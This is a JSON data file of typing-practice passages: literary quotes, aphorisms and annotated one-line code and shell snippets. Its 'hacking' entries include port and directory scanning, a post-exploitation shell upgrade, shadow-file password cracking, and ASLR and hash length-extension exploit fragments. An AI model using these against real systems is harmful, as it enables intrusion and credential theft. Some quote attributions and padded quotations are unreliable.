    "content": "1801. I have just returned from a visit to my landlord, the solitary neighbour that I shall be troubled with. This is certainly a beautiful country. In all England, I do not believe that I could have fixed on a situation so completely removed from the stir of society.",
    "attribution": "Emily Bronte, Wuthering Heights"
  },
  {
    "category": "literature",
    "content": "It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness.",
    "attribution": "Charles Dickens, A Tale of Two Cities"
  },
  {
    "category": "history",
    "content": "Standardised time is younger than the railway and was created by it. Before trains, every town kept its own noon by the sun, and the timetable is what forced a country to agree on a single clock.",
    "attribution": "Unknown"
  },
  {
    "category": "shell",
    "content": "diff <(sort a.txt) <(sort b.txt) | grep '^[<>]'",
    "attribution": "shell",
    "language": "shell",
    "explanation": "Process substitution gives each command a file name of its own, so diff can compare two pipelines without either being written to disk first."
  },
  {
    "category": "philosophy",
    "content": "Utilitarianism holds that the right action is the one that produces the greatest good for the greatest number of people, judging morality by outcomes rather than intentions.",
    "attribution": "Unknown"
  },
  {
    "category": "technology",
    "content": "A backup that has never been restored is not a backup. It is an untested assumption written to disk, and the first time anyone finds out whether it works will be the worst possible moment to learn.",
    "attribution": "Unknown"
  },
  {
    "category": "philosophy",
    "content": "I think, therefore I am.",
    "attribution": "Rene Descartes, Discourse on the Method"
  },
  {
    "category": "history",
    "content": "I have cherished the ideal of a democratic and free society in which all persons live together in harmony and with equal opportunities.",
    "attribution": "Nelson Mandela, 1964"
  },
  {
    "category": "general",
    "content": "The gap between knowing where a key is and reaching it without thinking is measured in weeks, not minutes. Practice moves the work from the part of the mind that deliberates to the part that simply acts, and there is no way to hurry that transfer except by repetition.",
    "attribution": "Unknown"
  },
  {
    "category": "programming",
    "content": "int *buf = malloc(len * sizeof(int)); if (!buf) return -1;",
    "attribution": "C",
    "language": "clike",
    "explanation": "malloc returns NULL when it fails, and checking is not optional. sizeof(int) rather than 4 keeps it correct across platforms."
  },
  {
    "category": "movies",
    "content": "Your scientists were so preoccupied with whether or not they could, they didn't stop to think if they should.",
    "attribution": "Jurassic Park (1993)"
  },
  {
    "category": "literature",
    "content": "There is no greater agony than bearing an untold story inside you. The words gather and press until they must come out, and the telling is not a relief so much as a surrender.",
    "attribution": "Maya Angelou"
  },
  {
    "category": "quotes",
    "content": "If I have seen further, it is by standing on the shoulders of giants.",
    "attribution": "Isaac Newton"
  },
  {
    "category": "hacking",
    "content": "nmap -sS -sV -T4 --top-ports 1000 10.0.0.0/24",
    "attribution": "Recon",
    "language": "shell",
    "explanation": "A TCP SYN scan of the top 1000 ports. -sV asks each open port for its service banner, which is what turns a port list into a target list."
  },
  {
    "category": "philosophy",
    "content": "Existentialism explores questions about individual freedom, choice, and meaning, arguing that people must create their own purpose in a universe that does not provide one automatically.",
    "attribution": "Unknown"
  },
  {
    "category": "literature",
    "content": "Call me Ishmael. Some years ago, never mind how long precisely, having little or no money in my purse, and nothing particular to interest me on shore, I thought I would sail about a little and see the watery part of the world. It is a way I have of driving off the spleen and regulating the circulation. Whenever I find myself growing grim about the mouth, whenever it is a damp, drizzly November in my soul, then I account it high time to get to sea as soon as I can.",
    "attribution": "Herman Melville, Moby-Dick"
  },
  {
    "category": "technology",
    "content": "We can only see a short distance ahead, but we can see plenty there that needs to be done.",
    "attribution": "Alan Turing, Computing Machinery and Intelligence"
  },
  {
    "category": "literature",
    "content": "There was no possibility of taking a walk that day. We had been wandering, indeed, in the leafless shrubbery an hour in the morning; but since dinner the cold winter wind had brought with it clouds so sombre, and a rain so penetrating, that further outdoor exercise was now out of the question. I was glad of it: I never liked long walks, especially on chilly afternoons.",
    "attribution": "Charlotte Bronte, Jane Eyre"
  },
  {
    "category": "literature",
    "content": "Not all those who wander are lost.",
    "attribution": "J.R.R. Tolkien"
  },
  {
    "category": "sysadmin",
    "content": "dig +short @1.1.1.1 example.com A",
    "attribution": "Network",
    "language": "shell",
    "explanation": "Resolves a name through a specific server, which is how you tell a stale local cache from a stale zone."
  },
  {
    "category": "shell",
    "content": "sed -i 's/localhost/127.0.0.1/g' config.ini",
    "attribution": "sed",
    "language": "shell",
    "explanation": "Substitute in place. The g flag replaces every match on a line, not just the first; -i writes the file rather than printing."
  },
  {
    "category": "business",
    "content": "Management is doing things right; leadership is doing the right things.",
    "attribution": "Peter Drucker"
  },
  {
    "category": "nature",
    "content": "A forest is not a collection of trees. Fungal networks link roots across whole hillsides, carrying sugar and warning signals between individuals, so what looks like competition for light is also a system of exchange.",
    "attribution": "Unknown"
  },
  {
    "category": "anime",
    "content": "What I want more than anything is for you to live and help me live too.",
    "attribution": "A Silent Voice"
  },
  {
    "category": "philosophy",
    "content": "Every new beginning comes from some other beginning's end.",
    "attribution": "Seneca, Letters from a Stoic"
  },
  {
    "category": "movies",
    "content": "I am big. It's the pictures that got small.",
    "attribution": "Sunset Boulevard (1950)"
  },
  {
    "category": "general",
    "content": "The Great Wall of China was not built all at once. It was constructed and extended over many centuries by different dynasties, each adding new sections and rebuilding older ones to defend against invasions from the north.",
    "attribution": "Unknown"
  },
  {
    "category": "programming",
    "content": "for name, score in zip(names, scores, strict=True): print(f'{name}: {score:>5.1f}')",
    "attribution": "Python",
    "language": "python",
    "explanation": "zip pairs two sequences and stops at the shorter one. strict=True makes a length mismatch an error rather than silent truncation."
  },
  {
    "category": "hacking",
    "content": "openssl s_client -connect example.com:443 -servername example.com </dev/null 2>/dev/null | openssl x509 -noout -text",
    "attribution": "openssl",
    "language": "shell",
    "explanation": "-servername sends the SNI field, without which a shared host returns the wrong certificate. Redirecting standard input stops the client waiting for something to send."
  },
  {
    "category": "business",
    "content": "The market can remain irrational longer than you can remain solvent.",
    "attribution": "John Maynard Keynes"
  },
  {
    "category": "technology",
    "content": "The question of whether a computer can think is no more interesting than the question of whether a submarine can swim.",
    "attribution": "Edsger Dijkstra"
  },
  {
    "category": "sysadmin",
    "content": "systemctl list-units --type=service --state=failed --no-legend | awk '{print $1}'",
    "attribution": "systemctl",
    "language": "shell",
    "explanation": "--no-legend drops the header and footer that are meant for a human reader, which leaves output a script can consume directly."
  },
  {
    "category": "anime",
    "content": "The world is not beautiful, and that in a way lends it a sort of beauty. A thing that had no flaw would have nothing to notice about it, and nobody would ever look twice.",
    "attribution": "Unknown"
  },
  {
    "category": "history",
    "content": "The world will little note nor long remember what we say here, but it can never forget what they did here.",
    "attribution": "Abraham Lincoln, Gettysburg Address, 1863"
  },
  {
    "category": "anime",
    "content": "We fear that which we cannot see.",
    "attribution": "Bleach"
  },
  {
    "category": "technology",
    "content": "Security is a process, not a product.",
    "attribution": "Bruce Schneier"
  },
  {
    "category": "philosophy",
    "content": "It is not that we have a short time to live, but that we waste a lot of it.",
    "attribution": "Seneca, On the Shortness of Life"
  },
  {
    "category": "shell",
    "content": "curl -s https://api.example.com/users | jq -r '.[] | select(.active) | .email'",
    "attribution": "Pipelines",
    "language": "shell",
    "explanation": "jq selects and reshapes JSON. -r prints raw strings, so the output is usable by the next command rather than quoted."
  },
  {
    "category": "anime",
    "content": "The only ones who should kill are those who are prepared to be killed.",
    "attribution": "Code Geass"
  },
  {
    "category": "sysadmin",
    "content": "strace -c -f -p $PID 2>&1 | tail -20",
    "attribution": "Processes",
    "language": "shell",
    "explanation": "Traces the system calls a command makes, with a count and timing summary rather than a wall of output."
  },
  {
    "category": "business",
    "content": "If you are not embarrassed by the first version of your product, you have launched too late.",
    "attribution": "Reid Hoffman"
  },
  {
    "category": "movies",
    "content": "Oh, what a day. What a lovely day!",
    "attribution": "Mad Max: Fury Road (2015)"
  },
  {
    "category": "hacking",
    "content": "libc.address = leak - libc.symbols['puts']",
    "attribution": "Exploit dev",
    "language": "python",
    "explanation": "Leaks a libc address from the GOT, then rebases every other libc symbol off it. This is how ASLR is worked around rather than defeated."
  },
  {
    "category": "history",
    "content": "I could work as much and eat as much as a man, when I could get it, and bear the lash as well. And ain't I a woman?",
    "attribution": "Sojourner Truth, 1851"
  },
  {
    "category": "nature",
    "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life.",
    "attribution": "Henry David Thoreau, Walden"
  },
  {
    "category": "shell",
    "content": "set -euo pipefail",
    "attribution": "Shell safety",
    "language": "shell",
    "explanation": "The unofficial strict mode: exit on error, exit on undefined variable, and fail a pipeline if any stage fails rather than only the last."
  },
  {
    "category": "programming",
    "content": "impl Display for Token { fn fmt(&self, f: &mut Formatter) -> Result { write!(f, \"{}\", self.0) } }",
    "attribution": "Rust",
    "language": "rust",
    "explanation": "Implementing Display is what makes a type usable in {}. self.0 is the first field of a tuple struct."
  },
  {
    "category": "history",
    "content": "It was we, the people, not we, the white male citizens, nor yet we, the male citizens, who formed this Union.",
    "attribution": "Susan B. Anthony, 1873"
  },
  {
    "category": "programming",
    "content": "export PATH=\"$HOME/.local/bin:$PATH\" && command -v rg >/dev/null || echo missing",
    "attribution": "Shell",
    "language": "shell",
    "explanation": "Prepending puts your own binaries ahead of the system ones. command -v is the portable test for whether something is installed."
  },
  {
    "category": "business",
    "content": "The real price of everything is the toil and trouble of acquiring it.",
    "attribution": "Adam Smith, The Wealth of Nations"
  },
  {
    "category": "philosophy",
    "content": "It's not what happens to you, but how you react to it that matters.",
    "attribution": "Epictetus"
  },
  {
    "category": "science",
    "content": "The cosmos is within us. We are made of star-stuff. We are a way for the universe to know itself.",
    "attribution": "Carl Sagan, Cosmos"
  },
  {
    "category": "nature",
    "content": "In wildness is the preservation of the world.",
    "attribution": "Henry David Thoreau, Walking"
  },
  {
    "category": "history",
    "content": "I am tired of fighting. From where the sun now stands, I will fight no more forever.",
    "attribution": "Chief Joseph, Nez Perce, 1877"
  },
  {
    "category": "sysadmin",
    "content": "openssl x509 -in cert.pem -noout -subject -issuer -dates",
    "attribution": "openssl",
    "language": "shell",
    "explanation": "Reads a certificate without connecting to anything. -dates prints notBefore and notAfter, which is the quickest way to answer when a certificate expires."
  },
  {
    "category": "literature",
    "content": "The sun shone, having no alternative, on the nothing new. Murphy sat out of it, as though he were free, in a mew in West Brompton. Here for what might have been six months he had eaten, drunk, slept, and put his clothes on and off, in a medium-sized cage of north-western aspect commanding an unbroken view of medium-sized cages of south-eastern aspect.",
    "attribution": "Samuel Beckett, Murphy"
  },
  {
    "category": "philosophy",
    "content": "The unexamined life is not worth living, but the over-examined life is not lived at all. Somewhere between acting without thought and thinking without acting is the narrow place where a person actually gets anywhere.",
    "attribution": "Unknown"
  },
  {
    "category": "literature",
    "content": "Call me Ishmael. Some years ago, never mind how long precisely, having little or no money in my purse, and nothing particular to interest me on shore, I thought I would sail about a little and see the watery part of the world.",
    "attribution": "Herman Melville, Moby-Dick"
  },
  {
    "category": "philosophy",
    "content": "Freedom and choice are not the same thing. More options can leave a person less able to act, because every additional alternative adds the cost of considering it and the regret of having passed it over.",
    "attribution": "Unknown"
  },
  {
    "category": "history",
    "content": "The strong do what they can and the weak suffer what they must.",
    "attribution": "Thucydides, History of the Peloponnesian War"
  },
  {
    "category": "philosophy",
    "content": "The Socratic method uses a series of questions and answers to expose contradictions in a person's beliefs, encouraging deeper critical thinking rather than simply providing answers.",
    "attribution": "Unknown"
  },
  {
    "category": "quotes",
    "content": "Our greatest glory is not in never falling, but in rising every time we fall.",
    "attribution": "Confucius"
  },
  {
    "category": "science",
    "content": "Somewhere, something incredible is waiting to be known.",
    "attribution": "Carl Sagan"
  },
  {
    "category": "anime",
    "content": "Trees and people used to be good friends.",
    "attribution": "My Neighbor Totoro"
  },
  {
    "category": "literature",
    "content": "It was a bright cold day in April, and the clocks were striking thirteen. Winston Smith, his chin nuzzled into his breast in an effort to escape the vile wind, slipped quickly through the glass doors of Victory Mansions.",
    "attribution": "George Orwell, Nineteen Eighty-Four"
  },
  {
    "category": "general",
    "content": "Simplicity is the soul of efficiency.",
    "attribution": "Unknown"
  },
  {
    "category": "quotes",
    "content": "You have power over your mind, not outside events. Realize this, and you will find strength.",
    "attribution": "Marcus Aurelius, Meditations"
  },
  {
    "category": "hacking",
    "content": "gobuster dir -u https://target -w /usr/share/wordlists/dirb/common.txt -x php,txt -t 40",
    "attribution": "gobuster",
    "language": "shell",
    "explanation": "-x appends extensions to every word, so one wordlist tests several file types. Authorised testing only: this is noisy and appears plainly in any access log."
  },
  {
    "category": "movies",
    "content": "You're gonna need a bigger boat.",
    "attribution": "Jaws (1975)"
  },
  {
    "category": "business",
    "content": "Work expands so as to fill the time available for its completion.",
    "attribution": "Parkinson's Law"
  },
  {
    "category": "sysadmin",
    "content": "df -h --output=source,pcent,target | awk 'NR > 1 && $2+0 > 80'",
    "attribution": "df",
    "language": "shell",
    "explanation": "Adding zero to a field forces awk to treat it as a number, so the percent sign is discarded and the comparison works. This lists only filesystems over 80 percent full."
  },
  {
    "category": "business",
    "content": "A price is a message about what something is worth, not merely what it costs to make. Setting it too low tells a buyer the thing is cheap, which is often harder to recover from than setting it too high.",
    "attribution": "Unknown"
  },
  {
    "category": "movies",
    "content": "We used to look up at the sky and wonder at our place in the stars. Now we just look down and worry about our place in the dirt.",
    "attribution": "Interstellar (2014)"
  },
  {
    "category": "quotes",
    "content": "The best way out is always through, and the only way through is to begin where you are standing right now.",
    "attribution": "Robert Frost"
  },
  {
    "category": "movies",
    "content": "The greatest trick the devil ever pulled was convincing the world he didn't exist.",
    "attribution": "The Usual Suspects (1995)"
  },
  {
    "category": "anime",
    "content": "If you win, you live. If you lose, you die. If you don't fight, you can't win.",
    "attribution": "Attack on Titan"
  },
  {
    "category": "literature",
    "content": "My father's family name being Pirrip, and my Christian name Philip, my infant tongue could make of both names nothing longer or more explicit than Pip. So, I called myself Pip, and came to be called Pip.",
    "attribution": "Charles Dickens, Great Expectations"
  },
  {
    "category": "philosophy",
    "content": "All men by nature desire to know.",
    "attribution": "Aristotle, Metaphysics"
  },
  {
    "category": "shell",
    "content": "diff <(sort a.txt) <(sort b.txt)",
    "attribution": "Pipelines",
    "language": "shell",
    "explanation": "Process substitution gives two commands to diff as if they were files, without writing either to disk."
  },
  {
    "category": "general",
    "content": "Rhythm matters more than raw pace. A steady stream of keystrokes at a moderate rate beats bursts of speed broken by pauses, because the pauses are where the errors gather and where the hands lose their place on the board.",
    "attribution": "Unknown"
  },
  {
    "category": "movies",
    "content": "I love the smell of napalm in the morning.",
    "attribution": "Apocalypse Now (1979)"
  },
  {
    "category": "programming",
    "content": "for (int i = 0; i < n; i++) { sum += a[i] * b[i]; }",
    "attribution": "C",
    "language": "clike",
    "explanation": "A dot product. The bound is < n, not <= n; off-by-one here reads past the end of the array."
  },
  {
    "category": "general",
    "content": "A group of flamingos is called a flamboyance. The birds get their pink color from the pigments in the shrimp and algae they eat.",
    "attribution": "Unknown"
  },
  {
    "category": "hacking",
    "content": "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'",
    "attribution": "Post-exploitation",
    "language": "shell",
    "explanation": "Upgrades a dumb shell to a real TTY, so job control, tab completion and su all start working."
  },
  {
    "category": "history",
    "content": "We choose to go to the moon in this decade and do the other things, not because they are easy, but because they are hard.",
    "attribution": "John F. Kennedy, 1962"
  },
  {
    "category": "movies",
    "content": "I'm as mad as hell, and I'm not going to take this anymore.",
    "attribution": "Network (1976)"
  },
  {
    "category": "sysadmin",
    "content": "sudo awk -F: '$2 == \"\" {print $1}' /etc/shadow",
    "attribution": "Users",
    "language": "shell",
    "explanation": "Accounts with an empty password field. Should return nothing on any machine you care about."
  },
  {
    "category": "history",
    "content": "To be ignorant of what occurred before you were born is to remain always a child.",
    "attribution": "Cicero"
  },
  {
    "category": "technology",
    "content": "Plan to throw one away; you will, anyhow.",
    "attribution": "Fred Brooks, The Mythical Man-Month"
  },
  {
    "category": "shell",
    "content": "tar czf - /var/www | ssh backup@host 'cat > site-$(date +%F).tar.gz'",
    "attribution": "tar",
    "language": "shell",
    "explanation": "A dash as the file name makes tar write to standard output. The archive is never stored locally: it streams straight down the ssh connection into a file on the far side."
  },
  {
    "category": "technology",
    "content": "Every abstraction leaks. The point is not to find one that does not, but to choose one whose leaks appear in places you can afford to look at, and to know in advance where those places are.",
    "attribution": "Unknown"
  },
  {
    "category": "quotes",
    "content": "Whatever you are, be a good one.",
    "attribution": "Abraham Lincoln"
  },
  {
    "category": "sysadmin",
    "content": "ssh -o ControlMaster=auto -o ControlPersist=10m -o ControlPath=~/.ssh/cm-%r@%h:%p host",
    "attribution": "SSH",
    "language": "shell",
    "explanation": "Reuses one connection for subsequent sessions, so every later ssh or scp to the same host skips the handshake."
  },
  {
    "category": "general",
    "content": "Bamboo is one of the fastest growing plants on Earth. Some species can grow nearly a meter in a single day under the right conditions, which is why it is used so widely in construction and manufacturing across Asia.",
    "attribution": "Unknown"
  },
  {
    "category": "hacking",
    "content": "curl -s -o /dev/null -w '%{http_code}' 'https://target/@internal/admin'",
    "attribution": "Web",
    "language": "shell",
    "explanation": "Requests a path with an absolute URL to see whether the proxy in front trusts it. A different response here often means an internal service is reachable."
  },
  {
    "category": "hacking",
    "content": "gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt -t 40",
    "attribution": "Recon",
    "language": "shell",
    "explanation": "Resolves a wordlist of names against a domain. Subdomains are where forgotten staging boxes live."
  },
  {
    "category": "history",
    "content": "Writing was invented for accounting before it was used for anything else. The earliest tablets record quantities of grain and livestock, and literature arrives centuries later, built on a tool made for keeping track of debts.",
    "attribution": "Unknown"
  },
  {
    "category": "programming",
    "content": "const [user, posts] = await Promise.all([getUser(id), getPosts(id)]);",
    "attribution": "JavaScript",
    "language": "javascript",
    "explanation": "Promise.all runs them concurrently and rejects on the first failure; allSettled waits for every result instead."
  },
  {
    "category": "science",
    "content": "Nothing in life is to be feared, it is only to be understood. Now is the time to understand more, so that we may fear less.",
    "attribution": "Marie Curie"
  },
  {
    "category": "quotes",
    "content": "We are what we repeatedly do. Excellence, then, is not an act, but a habit. What a person does once tells you very little, and what they do every morning without deciding to tells you almost everything.",
    "attribution": "Will Durant, on Aristotle"
  },
  {
    "category": "shell",
    "content": "tmp=$(mktemp -d) && trap 'rm -rf \"$tmp\"' EXIT",
    "attribution": "Shell safety",
    "language": "shell",
    "explanation": "A trap on EXIT cleans up whether the script succeeded, failed or was interrupted."
  },
  {
    "category": "philosophy",
    "content": "A journey of a thousand miles begins with a single step.",
    "attribution": "Lao Tzu, Tao Te Ching"
  },
  {
    "category": "general",
    "content": "Honey never spoils if it is stored properly. Archaeologists have found pots of honey in ancient Egyptian tombs that are thousands of years old and still perfectly edible, preserved by its low moisture content and natural acidity.",
    "attribution": "Unknown"
  },
  {
    "category": "science",
    "content": "Correlation is evidence, not proof. Two things that move together may share a cause, may influence each other, or may simply have been measured over a stretch of time too short to tell the difference.",
    "attribution": "Unknown"
  },
  {
    "category": "sysadmin",
    "content": "systemctl cat sshd.service && systemctl show sshd -p ExecStart",
    "attribution": "systemd",
    "language": "shell",
    "explanation": "Shows what a unit will actually run, including drop-ins, after every override has been merged."
  },
  {
    "category": "shell",
    "content": "for f in \"$@\"; do printf '%s\\n' \"${f%.*}\"; done",
    "attribution": "Shell safety",
    "language": "shell",
    "explanation": "Quoting \"$@\" preserves each argument exactly, including ones containing spaces. Unquoted $@ splits them apart."
  },
  {
    "category": "history",
    "content": "We shall fight on the beaches, we shall fight on the landing grounds, we shall fight in the fields and in the streets.",
    "attribution": "Winston Churchill, 1940"
  },
  {
    "category": "hacking",
    "content": "openssl s_client -connect target:443 -servername target < /dev/null | openssl x509 -noout -text",
    "attribution": "Crypto",
    "language": "shell",
    "explanation": "Reads the certificate a host presents. Expiry dates and hostname mismatches are found here, not in a browser warning."
  },
  {
    "category": "anime",
    "content": "If you don't take risks, you can't create a future. Everyone wants the result without the part where it might not work, and that part is the whole of it. There is no other door in.",
    "attribution": "Unknown"
  },
  {
    "category": "general",
    "content": "Learning to type well is mostly learning to stop watching your own hands. The eyes want to check, and every check costs the place in the text, so the first weeks of practice feel slower than the hunt-and-peck they replace. What changes is not the speed of any single keystroke but the number of decisions made per word. A trained hand does not decide where a letter is; it has already moved. That is why progress arrives in steps rather than a slope, and why a bad week is usually a week of watching.",
    "attribution": "Unknown"
  },
  {
    "category": "quotes",
    "content": "The greatest glory in living lies not in never falling, but in rising every time we fall. A life without setbacks is not a life well insulated; it is usually a life that was never risked in the first place.",
    "attribution": "Unknown"
  },
  {
    "category": "programming",
    "content": "const grouped = items.reduce((acc, item) => ({ ...acc, [item.type]: [...(acc[item.type] ?? []), item] }), {});",
    "attribution": "JavaScript",
    "language": "javascript",
    "explanation": "Groups a list by one field. The nullish coalescing operator supplies an empty array the first time a type is seen, so no separate initialisation step is needed."
  },
  {
    "category": "anime",
    "content": "The only thing we're allowed to do is to believe that we won't regret the choice we made.",
    "attribution": "Attack on Titan"
  },
  {
    "category": "history",
    "content": "Never in the field of human conflict was so much owed by so many to so few.",
    "attribution": "Winston Churchill, 1940"
  },
  {
    "category": "shell",
    "content": "tr -cs '[:alpha:]' '\\n' < book.txt | tr 'A-Z' 'a-z' | sort | uniq -c | sort -rn | head -20",
    "attribution": "Pipelines",
    "language": "shell",
    "explanation": "The classic word-frequency pipeline: split to one word per line, fold case, sort so duplicates are adjacent, count runs, order by count."
  },
  {
    "category": "sysadmin",
    "content": "ls -l /proc/$PID/fd | head && cat /proc/$PID/wchan",
    "attribution": "Processes",
    "language": "shell",
    "explanation": "What a process is actually waiting on. Reading its file descriptors and stack says more than another look at top."
  },
  {
    "category": "philosophy",
    "content": "Waste no more time arguing about what a good man should be. Be one.",
    "attribution": "Marcus Aurelius, Meditations"
  },
  {
    "category": "technology",
    "content": "Security is a property of a whole system, not a feature bolted to the side of one. A perfect lock on a door in a wall made of paper protects nothing, and most real failures are of that shape.",
    "attribution": "Unknown"
  },
  {
    "category": "sysadmin",
    "content": "du -xh --max-depth=1 / 2>/dev/null | sort -rh | head -15",
    "attribution": "Disk",
    "language": "shell",
    "explanation": "Largest directories at this level, human readable. -x stays on one filesystem so it does not wander into /proc or a mount."
  },
  {
    "category": "programming",
    "content": "def chunked(seq, n): return [seq[i:i + n] for i in range(0, len(seq), n)]",
    "attribution": "Python",
    "language": "python",
    "explanation": "Slicing past the end of a sequence is not an error in Python, it simply returns what is there, so the final chunk needs no special case."
  },
  {
    "category": "general",
    "content": "The most reliable machines are the ones with the fewest moving parts. Every joint is a place that wears, every hinge is a place that catches, and every additional component is one more thing that has to be right for the whole to work.",
    "attribution": "Unknown"
  },
  {
    "category": "science",
    "content": "Light from the nearest star beyond our own takes over four years to arrive. Every point in the night sky is therefore a picture of the past, and the further away it is, the older the picture.",
    "attribution": "Unknown"
  },
  {
    "category": "philosophy",
    "content": "What we call a self is mostly a story told after the fact. The decision arrives first, the reason is assembled afterwards, and the account is convincing precisely because the same mind wrote both halves.",
    "attribution": "Unknown"
  },
  {
    "category": "general",
    "content": "Measurement changes what is measured. The moment a number becomes a target, effort moves toward the number rather than the thing it was standing in for, and the two drift apart until the number is worth nothing.",
    "attribution": "Unknown"
  },
  {
    "category": "hacking",
    "content": "curl -s 'https://target/?x=1' -H 'X-Forwarded-Scheme: nothttps' -o /dev/null -w '%{http_code} %{time_total}\\n'",
    "attribution": "Web",
    "language": "shell",
    "explanation": "Requests the same path twice with different cache-busting keys to see whether a proxy will serve one user's response to another."
  },
  {
    "category": "science",
    "content": "An expert is a person who has made all the mistakes that can be made in a very narrow field.",
    "attribution": "Niels Bohr"
  },
  {
    "category": "philosophy",
    "content": "A question is not made better by being harder to answer. Much of what passes for depth is a sentence arranged so that no evidence could settle it, which is not profundity but a way of never being wrong.",
    "attribution": "Unknown"
  },
  {
    "category": "movies",
    "content": "Toto, I've a feeling we're not in Kansas anymore.",
    "attribution": "The Wizard of Oz (1939)"
  },
  {
    "category": "hacking",
    "content": "free(ptr); ptr->next = head; /* use after free: the block may belong to someone else now */",
    "attribution": "Memory safety",
    "language": "clike",
    "explanation": "Freed then used. The allocator may hand that block to something else between the two lines, so the write lands in another object."
  },
  {
    "category": "business",
    "content": "It is not from the benevolence of the butcher, the brewer, or the baker that we expect our dinner, but from their regard to their own interest.",
    "attribution": "Adam Smith, The Wealth of Nations"
  },
  {
    "category": "hacking",
    "content": "forged = hashlib.sha256(secret_len * b'\\x00' + original + padding + suffix).hexdigest()",
    "attribution": "Crypto",
    "language": "python",
    "explanation": "A length-extension attack works because the hash's internal state is its output. HMAC exists precisely to stop this."
  },
  {
    "category": "programming",
    "content": "grep -rn \"TODO\" src/ | awk -F: '{print $1}' | sort -u",
    "attribution": "Shell",
    "language": "shell",
    "explanation": "grep -n prints file:line:text, awk splits on the colon to take the filename, sort -u removes the duplicates."
  },
  {
    "category": "business",
    "content": "Organisations design systems which are copies of the communication structures of those organisations.",
    "attribution": "Conway's Law"
  },
  {
    "category": "anime",
    "content": "This world is rotten, and those who are making it rot deserve to die.",
    "attribution": "Death Note"
  },
  {
    "category": "history",
    "content": "You have to make more noise than anybody else, you have to fill all the papers more than anybody else.",
    "attribution": "Emmeline Pankhurst, 1913"
  },
  {
    "category": "programming",
    "content": "document.querySelectorAll('.row').forEach(el => el.classList.toggle('active'));",
    "attribution": "JavaScript",
    "language": "javascript",
    "explanation": "querySelectorAll returns a static NodeList, so it will not change as you mutate the elements in it."
  },
  {
    "category": "sysadmin",
    "content": "for u in $(cut -d: -f1 /etc/passwd); do echo \"$u $(crontab -lu \"$u\" 2>/dev/null | grep -c '^[^#]')\"; done",
    "attribution": "shell",
    "language": "shell",
    "explanation": "Walks every account and counts its active cron entries. Redirecting standard error hides the complaint for users who have no crontab at all."
  },
  {
    "category": "programming",
    "content": "with open('data.csv', encoding='utf-8') as f: rows = [line.split(',') for line in f]",
    "attribution": "Python",
    "language": "python",
    "explanation": "with closes the file even if the body raises. Iterating a file yields lines without loading it all into memory."
  },
  {
    "category": "literature",
    "content": "It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness, it was the spring of hope, it was the winter of despair, we had everything before us, we had nothing before us, we were all going direct to Heaven, we were all going direct the other way.",
    "attribution": "Charles Dickens, A Tale of Two Cities"
  },
  {
    "category": "philosophy",
    "content": "Stoicism is a school of ancient Greek philosophy that teaches the practice of virtue as the only true good, and encourages focusing only on what lies within one's own control.",
    "attribution": "Unknown"
  },
  {
    "category": "science",
    "content": "There is grandeur in this view of life, with its several powers, having been originally breathed into a few forms or into one.",
    "attribution": "Charles Darwin, On the Origin of Species"
  },
  {
    "category": "movies",
    "content": "If you build it, he will come.",
    "attribution": "Field of Dreams (1989)"
  },
  {
    "category": "quotes",
    "content": "The only thing necessary for the triumph of evil is for good men to do nothing. Silence in the face of wrong is not neutrality; it is a decision, and it is counted on by everyone who benefits from the wrong continuing.",
    "attribution": "Unknown"
  },
  {
    "category": "movies",
    "content": "Frankly, my dear, I don't give a damn. She had spent the whole picture believing that wanting a thing badly enough was the same as deserving it, and the last line is the world declining to agree.",
    "attribution": "Unknown"
  },
  {
    "category": "nature",
    "content": "Migration is navigation without a map. Birds crossing continents use the sun, the stars and the planet's magnetic field together, and a young bird making the journey for the first time often travels alone.",
    "attribution": "Unknown"
  },
  {
    "category": "hacking",
    "content": "john --wordlist=rockyou.txt --rules=Jumbo --format=sha512crypt shadow.txt",
    "attribution": "john",
    "language": "shell",
    "explanation": "Rules generate variations of each word: capitalisation, appended digits, common substitutions. Naming the format skips John's guess, which is often wrong on mixed files."
  },
  {
    "category": "programming",
    "content": "counts = {word: text.count(word) for word in set(text.split())}",
    "attribution": "Python",
    "language": "python",
    "explanation": "A dict comprehension. Note it is quadratic: count rescans the whole string per word. collections.Counter is the right tool."
  },
  {
    "category": "general",
    "content": "The first computer programmer is widely considered to be Ada Lovelace, who wrote an algorithm for an early mechanical computer in the eighteen forties, decades before any machine capable of running it was ever built.",
    "attribution": "Unknown"
  },
  {
    "category": "literature",
    "content": "Whether I shall turn out to be the hero of my own life, or whether that station will be held by anybody else, these pages must show. To begin my life with the beginning of my life, I record that I was born on a Friday, at twelve o'clock at night. It was remarked that the clock began to strike, and I began to cry, simultaneously.",
    "attribution": "Charles Dickens, David Copperfield"
  },
  {
    "category": "hacking",
    "content": "cur.execute('SELECT * FROM users WHERE name = %s AND active = %s', (name, True))",
    "attribution": "Defence",
    "language": "python",
    "explanation": "Parameterised queries send the values separately from the statement, so nothing the user types can become SQL."
  },
  {
    "category": "general",
    "content": "Every filing system fails the same way. It works while one person maintains it, it survives while that person explains it, and it collapses the week after they leave, because the rules lived in their head rather than in the structure.",
    "attribution": "Unknown"
  }
]